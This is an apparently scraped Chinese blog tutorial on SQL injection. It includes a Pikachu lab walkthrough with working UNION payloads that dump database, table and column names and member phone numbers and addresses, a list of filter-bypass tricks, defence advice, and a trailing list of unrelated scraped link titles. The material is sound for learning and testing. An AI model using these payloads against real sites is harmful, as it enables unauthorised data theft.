目录

SQL注入原理

SQL注入条件

基本知识(Mysql)

注入点检测

其他

基本流程

SQL注入技术

Union注入攻击

注入点判断

字段判断

查询当前数据库

查询表名

查询列名

查询所需字段值

Error注入攻击

查询表名

查询列名

查询所需字段值

Boolean注入攻击

Time注入攻击

Stack注入攻击

inline Query绕过注入攻击

宽字节绕过注入

Pikachu其他题目

数字型注入

注入点判断

字段数确定

查询当前数据库

查询当前表

查询当前列

查询当前字段

字符型注入

判断闭合

获取数据

搜索型注入

xx型注入

注入判断

"insert/update"注入

"delete注入"

宽字节注入

绕过

大小写绕过

双写绕过

内联注释

注释符绕过

or/and绕过

空格绕过

防御SQL注入的方法

使用预编译语句

使用存储过程

检查数据类型

使用安全函数


SQL注入原理

程序员没有遵循代码与数据分离原则,使用户数据作为代码执行。

SQL注入条件

  • 用户可以控制数据的输入。
  • 原本要运行的代码拼接了用户的输入并运行。

基本知识(Mysql)

注入点检测

页面返回正常

and 1=1--+

or 1=2--+

页面返回异常

and 1=2--+

or 1=1--+

添加 sleep(3)看页面是否返回时间长

其他

关于select、union、limit、database等sql语句及函数我都放在了这篇文章,如果您对基本函数还不了解,可以先看下面的文章。

网络安全-Mysql注入知识点

文中有使用sqlmap,关于sqlmap的内容,可以查看网络安全-sqlmap学习笔记

基本流程

sql注入流程图

SQL注入技术

sql注入技术

先按照sqlmap的分类(BUETSQ),然后是其他,由易到难,使用靶机pikachu。

Union注入攻击

利用union查询来运行想要的sql语句

字符型注入,目标:获取当前数据库中的所有用户名及其他感兴趣的信息。

注入点判断

d' and 1=1#

返回正常

字符型注入点,使用单引号闭合即可

字段判断

order by 1和2时没有问题

d' order by 3#

order by 3出错

字段数为2,有回显,union没有被过滤,使用Union注入

sql语句猜测,从某个表根据用户名返回两个字段

select field1,field2 from table where 用户名 = ''

查询当前数据库

当前的用database()函数即可

d' UNION SELECT 1,database() from information_schema.schemata#

获取数据库

得到数据库名pikachu

查询表名

d' UNION SELECT 1,table_name from information_schema.tables where table_schema='pikachu'#

查询到的表

数据库的表

得到表名httpinfo、member、message、users、xssblind

查询列名

根据我们的目标,假设对member感兴趣

d' UNION SELECT 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#

列名

users表中有id、username、pw、phonenum、address、email

通过以上信息,猜测sql语句

select id,email from member where username = ''

查询所需字段值

有了username就可以通过他给的表单获取对应email,所以就假设我们对phone、address更感兴趣,0x3a是冒号

d' UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member#

得到数据

你可以尝试以下查询 vince。

Error注入攻击

如果union被过滤,可以使用基于错误的注入攻击,一般利用floor,updatexml, extractvalue函数、还有exp和一些几何函数,补充exp:Error Based SQL Injection Using EXP |

网络安全-SQL注入原理、攻击及防御相关推荐

  1. SQL注入的攻击与防御(简单篇)

    原理:SQL注入攻击值得是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一下组合, 通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据 ...

  2. mysql 绕过select报错_Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要 1 schemata:表里包含所有数据库的名字 2 tables:表里包含所有数据库的所有的表 ...

  3. 网络安全——SQL注入攻击

    1.Web安全概述 Web安全可以从以下三个方面进行考虑: Web服务器的安全 Web客户端的安全 Web通信信道的安全   2.Web服务器的安全 针对Web服务器的攻击可以分为两类: 一是利用We ...

  4. Web网络安全漏洞分析,SQL注入原理详解

    本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪 一.SQL注入的基础 1.1 介绍SQL注入 SQL注入就是 ...

  5. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  6. SQL注入原理与防御姿势(问答方式 描述)

    SQL注入原理? 通过把SQL命令插入到Web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 SQL注入危害? 数据库层面 非法读取.篡改.添加.删除数据库中数据 ...

  7. SQL注入原理、过程、防御方案、RASP概念

    一.sql注入原理 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的语句上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此 ...

  8. 网络安全--SQL注入介绍

    课程目标:讲解SQL注入的原理.特点.危害,SQL注入的攻击手法和MySQL注入的常用函数,讲解相关工具,如何去防御SQL注入. 任务目标:了解SQL注入相关概念,掌握SQL注入攻击手法,了解SQL注 ...

  9. sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御

    第   21 课   SQL注入的利用与防御 课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. SQL ...

  10. SQL注入原理与解决方法

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

最新文章

  1. 如何衡量一个项目的交付质量???
  2. CVPR2020 - SLAM workshop 在线盛会预告
  3. windows10 中 python3 离线 安装包,没有 网络 的 情况下 安装 whl包
  4. 使用Java中的Try-With-Resource
  5. TCL_事务控制语言
  6. php curl 及其参数
  7. C++ 时间差的计算方式
  8. python网络图可视化_蜘蛛网图实现Python可视化的方法
  9. 非好友怎么进qq权限空间
  10. 初三英语关于计算机的作文,初三英语作文
  11. Frontiers in Neuroscience:弥散张量成像(DTI)研究指南
  12. 编程金融小白学 股票期权 lv.5 希腊字母 Delta
  13. 快速傅里叶和离散傅里叶的区别?
  14. ESLint配置详解
  15. arcsinx的导数
  16. 【原创】二阶常系数非齐次线性微分方程求特解
  17. js中Boolean值为false和true的情况:
  18. window.open()和window.showModalDialog 的使用及传值操作
  19. C++中复制构造函数与重载赋值操作符
  20. c++day03 构造中调用构造函数

热门文章

  1. 写一彩票程序,要求能随机产生并按照升序输出1-30之间的7个数,且其中任意两个数字不能重复
  2. java实验目的_java实验报告一
  3. Matlab循环语句
  4. python计算bmi指数_python 练习题:计算的BMI指数,并根据BMI指数条件选择
  5. java王者荣耀英雄代码_王者荣耀英雄代码在哪个文件夹_王者荣耀英雄代码大全...
  6. python函数手册 chm_python中文手册chm
  7. 深度解析 mPaaS 小程序一站式研发
  8. unity 凸包算法
  9. 如何下载火山安卓软件开发平台
  10. html 显示unicode字符,网页中使用Unicode字符